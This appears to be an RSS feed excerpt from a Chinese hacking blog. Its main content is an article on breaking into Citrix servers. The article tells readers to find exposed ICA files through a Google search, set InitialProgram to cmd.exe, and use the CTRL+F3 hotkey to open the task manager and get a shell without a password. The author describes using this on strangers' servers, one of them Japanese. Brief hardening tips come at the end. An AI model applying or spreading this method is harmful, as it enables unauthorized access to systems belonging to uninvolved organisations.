<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月25日 -- <a href="http://www.4shell.org/archives/2062.html" title="最小化安装CentOS6 VMware-tools安装几点注意事项">最小化安装CentOS6 VMware-tools安装几点注意事项</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2059.html" title="linux Backdoor">linux Backdoor</a></li><li>2011年06月10日 -- <a href="http://www.4shell.org/archives/1969.html" title="VMware 硬盘扩容">VMware 硬盘扩容</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年05月26日 -- <a href="http://www.4shell.org/archives/1933.html" title="Linux 安装基于PPTPD的vpn,内网渗透用">Linux 安装基于PPTPD的vpn,内网渗透用</a></li><li>2011年05月16日 -- <a href="http://www.4shell.org/archives/1930.html" title="kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images">kernel-2.6.18-164 Local 2010 Exploit Root Private Cant See Images</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1920.html" title="Linux基本操作命令">Linux基本操作命令</a></li><li>2011年04月30日 -- <a href="http://www.4shell.org/archives/1919.html" title="让putty支持中文输入和显示">让putty支持中文输入和显示</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2055.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Citrix密码绕过漏洞引发的渗透</title>
		<link>http://www.4shell.org/archives/2054.html</link>
		<comments>http://www.4shell.org/archives/2054.html#comments</comments>
		<pubDate>Thu, 24 Nov 2011 12:50:25 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Citrix]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2054</guid>
		<description><![CDATA[simeon Citrix系统以前听说过，未真正操作过，对于Citrix系统的研究来自与好友Mickey的指导，后面对此进行了一些研究，应该说小有心得，撰文与大家一起分享。 一、Citrix简介 Citrix是Citrix Systems, Inc.的一款主打产品，该公司主要提供全球接入架构解决方案，其解决方案能够让客户在任何时间、任何地点、在任何设备上，通过任何形式的网络连接，高效 获取各种应用、信息及通讯。Citrix技术使得数字办公室无处不在，令工作轻松易行。　　 Citrix以代号CTXS于Nasdaq Stock MarketSM上市，并获列入标准普尔500指数。2001财年公司总收益为5.92亿美元。Citrix 总部设于美国佛罗里达州 Fort Lauderdale，公司网站 http://www.citrix.com。 Citrix是一款广泛流行的远程桌面控制程序，类似于Microsoft的远程终端（Terminal Services）。只是其原理不同，Microsoft Terminal Services使用的是RDP(远程桌面协议，Remote Desktop Protocol)协议，而Citrix使用的是ICA (独立计算机架构，Independent Computing Architecture)协议。ICA技术已成为基于服务器计算模式的工业基础。ICA包括了包括以下三个重要内容： （1）MultiWin。在服务器上模拟本地应用程序处理的多用户层； （2）服务器端ICA软件。将应用程序的执行和显示逻辑分开，应用程序100%在服务器上进行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端； （3）客户端设备上的ICA软件：一方面接收显示界面，同时向服务器发送鼠标移动和键盘击键动作信息，对基于服务器上的应用程序进行操作。 ICA具有网络传输的高效性、客户端设备的灵活性、操作平台的灵活性以及连接方式的灵活性。由于在客户端与服务器之间无数据传送，传送的只是显示界 面，并运用Citrix特有的SpeedScreen技术（传输的仅是显示界面变化的部分），平均只占用10K的网络带宽。ICA可以在从286计算机到 现在的PIII级计算机上正常工作，可以在任何客户端操作系统平台上正常工作，客户端与服务器可通过多种连接方式LAN、WAN、电话拨号、 Internet、无线的Web方式等。 迄今全球已有近十五万家用户采用了Citrix解决方案，享受到ICA技术的客户端更超过五千万，其中包括世界财富500强中99%以上的集团，以及欧洲财经时代500强中75%以上的公司，Citrix凭借其卓越的技术方案和业务成就，赢得了业界与用户的广泛赞誉。 二、Citrix的工作方式 Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。 Citrix MetaFrame有XPs、XPa及XPe三个不同的版本，分别适合不同的环境使用；其中XPs是完全安全版，包括一些不同于其它版本的管理选 项；XPa和XPe则功能相对稍微少一点；Citrix 默认使用1494端口并且只和使用了Citrix ICA加密协议的客户端通信。 Citrix NFuse/Citrix安全网关中Citrix NFuse允许管理员锁定程序且只能通过Web浏览器通信。Citrix NFuse默认安装在IIS 5.0及以上版本上的。Citrix NFuse默认安装情况下的远程权限规则允许管理员执行Citrix安全网关。 三、一个Citrix渗透实例 （一）安装Citrix Presentation Server客户端 安装Citrix Presentation Server 客户端时跟安装其它普通软件没有什么不同，按照提示进行安装即可，不过在安装过程中需要注意一点，在选择客户端时只选择安装“Program Neighborhood”，“Web客户端”和“Program [...]]]></description>
			<content:encoded><![CDATA[<p>simeon<br />
Citrix系统以前听说过，未真正操作过，对于Citrix系统的研究来自与好友Mickey的指导，后面对此进行了一些研究，应该说小有心得，撰文与大家一起分享。<br />
一、Citrix简介<br />
Citrix是Citrix Systems, Inc.的一款主打产品，该公司主要提供全球接入架构解决方案，其解决方案能够让客户在任何时间、任何地点、在任何设备上，通过任何形式的网络连接，高效 获取各种应用、信息及通讯。Citrix技术使得数字办公室无处不在，令工作轻松易行。　　 Citrix以代号CTXS于Nasdaq Stock MarketSM上市，并获列入标准普尔500指数。2001财年公司总收益为5.92亿美元。Citrix 总部设于美国佛罗里达州 Fort Lauderdale，公司网站 http://www.citrix.com。<br />
Citrix是一款广泛流行的远程桌面控制程序，类似于Microsoft的远程终端（Terminal Services）。只是其原理不同，Microsoft Terminal Services使用的是RDP(远程桌面协议，Remote Desktop Protocol)协议，而Citrix使用的是ICA (独立计算机架构，Independent Computing Architecture)协议。ICA技术已成为基于服务器计算模式的工业基础。ICA包括了包括以下三个重要内容：<br />
<span id="more-2054"></span></p>
<p>（1）MultiWin。在服务器上模拟本地应用程序处理的多用户层；<br />
（2）服务器端ICA软件。将应用程序的执行和显示逻辑分开，应用程序100%在服务器上进行，并通过标准的网络协议（TCP/IP、SPX、IPX、NETBEUI、NWLINK）将显示界面传送给客户端；<br />
（3）客户端设备上的ICA软件：一方面接收显示界面，同时向服务器发送鼠标移动和键盘击键动作信息，对基于服务器上的应用程序进行操作。<br />
ICA具有网络传输的高效性、客户端设备的灵活性、操作平台的灵活性以及连接方式的灵活性。由于在客户端与服务器之间无数据传送，传送的只是显示界 面，并运用Citrix特有的SpeedScreen技术（传输的仅是显示界面变化的部分），平均只占用10K的网络带宽。ICA可以在从286计算机到 现在的PIII级计算机上正常工作，可以在任何客户端操作系统平台上正常工作，客户端与服务器可通过多种连接方式LAN、WAN、电话拨号、 Internet、无线的Web方式等。<br />
迄今全球已有近十五万家用户采用了Citrix解决方案，享受到ICA技术的客户端更超过五千万，其中包括世界财富500强中99%以上的集团，以及欧洲财经时代500强中75%以上的公司，Citrix凭借其卓越的技术方案和业务成就，赢得了业界与用户的广泛赞誉。<br />
二、Citrix的工作方式<br />
Citrix主要有Citrix MetaFrame和Citrix NFuse/Citrix安全网关两种工作方式。<br />
Citrix MetaFrame有XPs、XPa及XPe三个不同的版本，分别适合不同的环境使用；其中XPs是完全安全版，包括一些不同于其它版本的管理选 项；XPa和XPe则功能相对稍微少一点；Citrix 默认使用1494端口并且只和使用了Citrix ICA加密协议的客户端通信。<br />
Citrix NFuse/Citrix安全网关中Citrix NFuse允许管理员锁定程序且只能通过Web浏览器通信。Citrix NFuse默认安装在IIS 5.0及以上版本上的。Citrix NFuse默认安装情况下的远程权限规则允许管理员执行Citrix安全网关。<br />
三、一个Citrix渗透实例<br />
（一）安装Citrix Presentation Server客户端<br />
安装Citrix Presentation Server 客户端时跟安装其它普通软件没有什么不同，按照提示进行安装即可，不过在安装过程中需要注意一点，在选择客户端时只选择安装“Program Neighborhood”，“Web客户端”和“Program Neighborhood Agent”均不安装，即分别选中“Web客户端”和“Program Neighborhood Agent”前面向下的三角形箭头，然后选择“所有功能均不可用”，设置完毕后“Web客户端”和“Program Neighborhood Agent”前面会分别出现一个红色的叉，如图1所示。Citrix Presentation Server 客户端下载地址：http://www.antian365.com/viewthread.php?tid=6299&#038;extra=page%3D1<br />
图1 选择客户端<br />
（二）搜索ICA文件<br />
使用Citrix Presentation Server 客户端连接Citrix服务器主要通过读取ICA配置文件来实现，很多Citrix服务器在配置完毕后会将ICA文件放到网上供下载使用，也有一些是配置 完毕后无意放在网上，不过那种方式，只要获取正确的ICA文件即可进行连接。获取ICA文件最简单和方便的方法就是通过搜索引擎获取，直接打开IE浏览 器，在Google搜索中输入“Filetype:ica”搜索ica文件，如图2所示，搜索出来很多ICA文件。<br />
图2 搜索ICA文件<br />
（三）下载ICA文件<br />
在Google搜索结果中任意选择一个搜索记录，然后右键单击选择“另存为”，将所选择的ICA文件保存到本地。保存ICA文件的目的就是为了在本地进行 查看，如图3所示，在ICA文件中可以看到有WFClient、ApplicationServer、Route Clearing DB、EncRC5-0、Compress五个参数，WFClient参数中主要指定软件的版本，Citrix服务器地址和连接端口；第二个参数主要指定 初始程序等设置。下载ICA文件的另外一个目的就是尝试修改ICA文件中的配置参数InitialProgram，在权限管理不严格的Citrix服务器 中如果InitialProgram参数的值修改成cmd.exe或explorer.exe，连接Citrix服务器后可以直接调出远程服务器上的命令 提示符或者资源管理器。出来这两个东东，呵呵，不说你也知道可以干什么了！<br />
图3 ICA文件具体内容<br />
（四）直接打开ICA文件<br />
Citrix Presentation Server 客户端正确安装后，其默认打开后缀为ICA的文件，也可以直接单击网页中的ICA文件链接地址而打开Citrix链接提示框。在连接过程中会给出一些提 示，如果服务器、客户端以及参数相匹配，则会出现明显的登录警告等提示信息，如图4所示。<br />
图4 出现登录提示警告信息<br />
在测试过程中会有很多ICA文件是无效的或者说是过时的，有的虽然会出现一个连接提示信息，但由于协议不匹配的原因，最后将无法连接成功。还有一种情况通 过ICA文件可以连接，但需要连接方提供正确的用户名和密码，如图5所示，要求用户输入跟Windows登录类似的用户名和密码，只有输入正确的用户名和 密码后才能进入系统。<br />
图5 Citrix中的用户和密码验证</p>
<p>（五）使用快捷键绕过密码验证<br />
在连接上Citrix服务器后可以使用一些热键来进行常见的操作，一些常见的热键如下所示：<br />
SHIFT+F1: 打开本地任务列表<br />
SHIFT+F2: Toggle Title Bar<br />
SHIFT+F3: 关闭远程应用程序<br />
CTRL+F1: 显示Windows安全桌面相当于“Ctrl+Alt+Del”<br />
CTRL+F2: 打开远程任务列表<br />
CTRL+F3: 打开远程任务管理器，相当于本地热键“Ctrl+Shift+ESC”打开本地任务管理器。<br />
ALT+MINUS: 相当于本地的“ALT+SHIFT+TAB”热键在各个任务之间切换<br />
在Citrix服务器的某些版本存在密码绕过漏洞，通过热键直接调出任务管理器，从而绕过密码验证。即在出现确定的连接后，使用热键“CTRL+F3”打开远程的任务管理器，如图6所示，直接调出远程的任务管理器，呵呵，还是小日本的计算机呢！<br />
图6 使用热键“CTRL+F3”打开远程计算机上的任务管理器<br />
（六）进入远程Citrix服务器<br />
前面的进入的日文的Citrix服务器，看不懂，后面换了一台英文版本的进行测试，如图7所示，通过热键“CTRL+F3”打开远程计算机上的任务管理 器，然后在任务管理器中“文件”－“新建任务”－“打开”，在其中输入“cmd.exe”或者“Explorer”直接打开命令提示符或者资源管理器，如 图7所示，通过运行“Explorer”进入对方计算机。<br />
图7 通过新建任务进入远程Citrix服务器<br />
（七）问题与探讨<br />
1.修改参数失效。<br />
在下载的ICA文件中有些通过修改参数InitialProgram的值顺利的进入远程服务器，但有些ICA文件在修改其值后，连接Citrix服务器后却要求输入用户名和密码才能进入。在没有获取用户名和密码的情况下基本无法进入。<br />
2.具有执行程序权限，却很难提权<br />
通过ICA文件连接使用热键绕过密码验证，虽然能够使用计算机中的资源，执行部分或者全部程序，但由于权限限制，如果登录的用户不是administrator权限，则服务器提权很难成功。有关Citrix的更多漏洞可以参考http://secunia.com/advisories/search/?search=citrix<br />
3. Citrix服务器安全配置的一些方法<br />
（1）首先正确配置NFuse/Citrix Secure Gateway；<br />
（2）确定IIS/Apache已经打了最新补丁，并且在DMZ的保护中，或者使用NTLM认证；<br />
（3）如果可能，要求远程用户使用SecureID认证方式；<br />
（4）使用其它的浏览器取代IE；<br />
（5）建立一个组，把所有Citrix用户放到这个组里面，禁止他们访问cmd.exe、ftp.exe、 tftp.exe、rcp.exe、net.exe、command.com、iexplorer.exe等可能对系统有危害的权限(在安全与应用的平衡 之间选择)；笔者曾经在一个老外的服务器上看见其权限做的非常严格，对每一个文件、文件夹都进行了仔细的审核，尤其是system权限，进行了严格的分 配。<br />
（6）给你的Citrix打上最新的补丁；<br />
（7）禁止winhelp32的访问，设置Internet选项禁止下载，禁止使用进程管理器；<br />
（8）如果可能，设置Citrix Connection Configuration—>ica-tcp—>client settings—>选择必须为开。</p>
<p>--The End--</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2054.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

